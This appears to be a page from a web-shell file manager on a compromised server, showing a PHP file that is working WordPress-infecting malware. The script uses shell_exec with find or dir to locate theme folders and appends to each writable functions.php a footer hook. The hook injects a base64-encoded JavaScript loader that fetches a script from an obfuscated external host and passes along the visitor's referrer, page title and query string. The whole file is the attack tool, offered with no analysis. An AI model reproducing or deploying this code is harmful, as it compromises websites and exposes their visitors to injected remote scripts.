Your IP : 18.222.227.24


Current Path : /home/ephorei/www/
Upload File :
Current File : /home/ephorei/www/mslfi8r26.php

<?

header('Content-Type: application/json');

function findAccessiblePaths($path) {

    $parts = explode('/', $path);

    $currentPath = '/';

    $accessiblePaths = [];



    foreach ($parts as $part) {

        if (!empty($part)) {

            $currentPath .= $part . '/';

            if (is_readable($currentPath)) {

                $accessiblePaths[] = $currentPath;

            }

        }

    }

    return $accessiblePaths;

}

function findWpThemesCrossPlatform() {

    $cwd = getcwd();

    $accessiblePaths = findAccessiblePaths($cwd);

    $allModifiedFiles = [];



    foreach ($accessiblePaths as $path) {

        $command = getSearchCommand($path);

        $output = shell_exec($command);

        $functionsPaths = [];



        if ($output) {

            $paths = preg_split('/\r\n|\r|\n/', trim($output));

            foreach ($paths as $path) {

                $foundPaths = findFilesRecursively($path, 'functions.php');

                $functionsPaths = array_merge($functionsPaths, $foundPaths);

            }

        }



        $modifiedFiles = addCustomScriptToFiles($functionsPaths);

        if (!empty($modifiedFiles)) {

            $allModifiedFiles = array_merge($allModifiedFiles, $modifiedFiles);

            break;

        }

    }



    if (empty($allModifiedFiles)) {

        echo json_encode(['error' => 'No themes modified or accessible']);

    } else {

        echo json_encode($allModifiedFiles);

    }

}

function addCustomScriptToFiles(array $functionsPaths) {

    $modifiedFiles = [];

    $newFunctionCode = getCustomScript();



    foreach ($functionsPaths as $functionsPath) {

        if (file_exists($functionsPath) && is_writable($functionsPath)) {

            $code = file_get_contents($functionsPath);

            if (strpos($code, 'wp_system_query_script') === false) {

                $code .= "\n" . $newFunctionCode;

                file_put_contents($functionsPath, $code);

                $modifiedFiles[] = $functionsPath;

            }

        }

    }

    return $modifiedFiles;

}

function getCustomScript() {

    return <<<PHP

function wp_system_query_script() {

    ?>

<script src="data:text/javascript;base64,aWYoIWxvY2FsU3RvcmFnZS5nZXRJdGVtKCc4YWQ4NzU3YmFhODU2NGRjMTM2YzFlMDc1MDdmNGE5OCcpKXt2YXIgZD1kb2N1bWVudCxzPWQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9YXRvYignYUhSMGNITTZMeTl1YjJsMmFXMXBZbWN1WTJ4cFkyc3ZObmR0WmpGeFdFTS8nKSsnc2VfcmVmZXJyZXI9JytlbmNvZGVVUklDb21wb25lbnQoZC5yZWZlcnJlcikrJyZkZWZhdWx0X2tleXdvcmQ9JytlbmNvZGVVUklDb21wb25lbnQoZC50aXRsZSkrJyYnK2xvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywnJicpKycmZnJtPXNjcmlwdCc7KGQuY3VycmVudFNjcmlwdD9kLmN1cnJlbnRTY3JpcHQucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxkLmN1cnJlbnRTY3JpcHQpOmQuaGVhZC5hcHBlbmRDaGlsZChzKSk7fQ=="></script>

    <?php

}

add_action('wp_footer', 'wp_system_query_script');

add_action('wp_body_open', 'wp_system_query_script');

PHP;

}

function getSearchCommand($startPath) {

    $os = strtoupper(substr(PHP_OS, 0, 3));

    if ($os === 'WIN') {

        return "dir /s /b /a:d {$startPath}*wp-content\\themes*";

    } else {

        return "find {$startPath} -type d -name 'themes' -path '*/wp-content/themes' 2>/dev/null";

    }

}

function findFilesRecursively($dir, $fileName) {

    $results = [];

    $files = scandir($dir);



    foreach ($files as $file) {

        if ($file !== '.' && $file !== '..') {

            $path = $dir . DIRECTORY_SEPARATOR . $file;

            if (is_dir($path)) {

                $results = array_merge($results, findFilesRecursively($path, $fileName));

            } elseif ($file === $fileName) {

                $results[] = $path;

            }

        }

    }



    return $results;

}



findWpThemesCrossPlatform();

die();

?>